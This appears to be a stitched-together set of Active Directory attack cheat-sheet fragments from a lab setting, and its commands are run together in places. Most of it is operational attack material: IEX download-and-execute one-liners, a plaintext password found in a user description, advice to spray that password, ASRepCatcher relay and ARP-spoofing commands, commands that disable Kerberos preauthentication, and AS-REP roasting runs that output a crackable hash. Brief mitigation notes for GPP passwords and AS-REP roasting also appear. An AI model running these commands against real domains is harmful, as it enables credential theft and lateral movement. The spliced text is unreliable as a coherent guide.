# Run ScriptSentry and display results on the consoleIEX(Invoke-WebRequest'https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')Invoke-ScriptSentry# Run ScriptSentry and save output to a text fileIEX(Invoke-WebRequest'https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')Invoke-ScriptSentry|Out-File c:\temp\ScriptSentry.txt# Run ScriptSentry and save results to separate csv files in the current directoryIEX(Invoke-WebRequest'https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')Invoke-ScriptSentry-SaveOutput $true
PS C:\htb> Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
samaccountname description
-------------- -----------
administrator Built-in account for administering the computer/domain
guest Built-in account for guest access to the computer/domain
krbtgt Key Distribution Center Service Account
ldap.agent *** DO NOT CHANGE *** 3/12/2012: Sunsh1ne4All!
Often, GPP passwords are defined for legacy accounts, and you may therefore retrieve and decrypt the password for a locked or deleted account. However, it is worth attempting to password spray internally with this password (especially if it is unique). Password re-use is widespread, and the GPP password combined with password spraying could result in further access.
The following security controls should be implemented to mitigate a Password in GPP compromise:
Remove all GPP passwords. This eliminates the risk of a Password in GPP compromise.
Apply Microsoft’s security patch 2962486 to remove the functionality to create cpasswords. This security patch prevents the creation of new cpasswords. For more information on the security patch, see Microsoft’s Security Bulletin MS14-025.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supportedASRepCatcher relay -dc $DC_IP# Disabling ARP spoofing, the mitm position must be obtained differentlyASRepCatcher relay -dc $DC_IP --disable-spoofing# Passive listening of AS-REP packets, no packet alterationASRepCatcher listen
# Check for GenericWrite or GenericAll rightsFind-InterstingDomainAcl-ResolveGUIDs |?{$_.IdentityReferenceName-match"RDPUsers"}# Disable kerberos preauth for user1Set-DomainObject-Identity user1 -XOR@{useraccountcontrol=4194304} -Verbose# Check if user is asreproastableGet-DomainUser-PreauthNotRequired -Verbose
$ GetNPUsers.py htb.local/ -dc-ip 192.168.3.203 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt -request -format hashcat -outputfile asrep.hash -debug |tee getnpusers.log
$ cat getnpusers.log |grep -v 'Client not found in Kerberos database'
$ GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[-] User sbrown@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jjones@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tjohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwilson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bdavis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User njohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User asanchez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dlewis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ccruz@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$mmorgan@inlanefreight.local@INLANEFREIGHT.LOCAL:47e0d517f2a5815da8345dd9247a0e3d$b62d45bc3c0f4c306402a205ebdbbc623d77ad016e657337630c70f651451400329545fb634c9d329ed024ef145bdc2afd4af498b2f0092766effe6ae12b3c3beac28e6ded0b542e85d3fe52467945d98a722cb52e2b37325a53829ecf127d10ee98f8a583d7912e6ae3c702b946b65153bac16c97b7f8f2d4c2811b7feba92d8bd99cdeacc8114289573ef225f7c2913647db68aafc43a1c98aa032c123b2c9db06d49229c9de94b4b476733a5f3dc5cc1bd7a9a34c18948edf8c9c124c52a36b71d2b1ed40e081abbfee564da3a0ebc734781fdae75d3882f3d1d68afdb2ccb135028d70d1aa3c0883165b3321e7a1c5c8d7c215f12da8bba9
[-] User rramirez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwallace@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsantiago@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
<SNIP>
SharpADWS
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
Mitigation
The following security control should be implemented to mitigate AS-REP Roasting:
Ensure user objects require Kerberos pre-authentication. AS-REP Roasting is mitigated if all user objects require Kerberos pre-authentication. However, if user objects must be configured to bypass Kerberos pre-authentication, then these user objects should be granted the minimum set of privileges required for them to perform their functions and should not be members of highly privileged security groups, such as Domain Admins. Additionally, set a minimum 30-character password for service accounts or a minimum 15-character password for users, and ensure the password is unique, unpredictable and managed.
